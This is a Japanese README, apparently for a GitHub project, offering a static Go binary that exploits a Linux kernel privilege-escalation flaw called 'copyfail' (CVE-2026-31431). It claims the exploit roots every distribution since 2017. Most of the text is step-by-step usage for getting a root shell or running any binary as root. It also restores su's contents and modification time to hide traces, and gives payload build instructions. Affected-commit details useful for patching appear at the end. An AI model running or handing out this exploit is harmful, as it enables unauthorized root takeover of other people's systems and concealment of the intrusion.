
A Go implementation of copyfail (CVE-2026-31431)
ほとんどのLinux LPEはレースウィンドウやカーネル固有のオフセットを必要とします。Copy Failは一直線のロジック欠陥です — どちらも必要ありません。同じ
732バイトのPythonスクリプト静的Goバイナリが、2017年以降に出荷されたすべてのLinuxディストリビューションをroot化します。
CVE-2026-31431のGo実装です。静的バイナリが必要で、Python依存関係を避けたい場合に使用します。
詳細は copy.fail を参照してください。
# コード実行が可能なLinuxホストにバイナリを取得する(読者への課題)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # 元のsuバイナリを復元
root@host# touch -r /tmp/su /usr/bin/su # 元のsuの変更時刻を復元
root@host# rm /tmp/su
root@host# # rootとして作業を行う =)
プログラムをrootに昇格させるのに便利です
# コード実行が可能なLinuxホストにバイナリを取得する(読者への課題)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
user@host$ # 実行したものを使用して、/tmp/suからsuを復元する
Debianホスト(Debian 13でテスト済み)で payloads/build-n-print.sh を使ってペイロードを自分でコンパイルしてください。
apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf を実行してから、payloadsディレクトリ内でスクリプトを実行する必要があります。各ペイロードをコンパイルし、zlib圧縮された16進文字列を出力します。それらを main.go 内のものと比較し(または独自のものに置き換え)、メインプロジェクトディレクトリから goreleaser build --snapshot --clean で copyfile-go バイナリをビルドしてください。
下限: torvalds/linux 72548b093ee3 2017年8月、v4.14
(AF_ALG iov_iter の再設計により、
AEAD スキャッタリストへの splice を
介したファイルページ書き込みプリミティブが
導入された)
上限: torvalds/linux a664bf3d603d 2026年4月、mainline
(2017年の algif_aead インプレース最適化を
巻き戻し; ソースとデスティネーションの
スキャッタリストを分離し、ページキャッシュ
ページが書き込み可能な暗号化デスティネーションに
できなくなった)
その間: 修正をバックポートしなかったすべての主要ディストリビューションカーネル。
Ubuntu、RHEL、SUSE、Amazon Linux、Debianはすべて、公開時点で標準のクラウドイメージカーネルで脆弱であることが確認されました。ディストリビューションレベルのバックポートは、公開と同時に2026-04-29頃から展開され始めました。対象カーネルがウィンドウ内かどうかを確認するには、a664bf3d603d(またはそのディストリビューション固有のバックポート)がカーネルのgitログまたはディストリビューションのチェンジログに存在するかどうかを確認してください。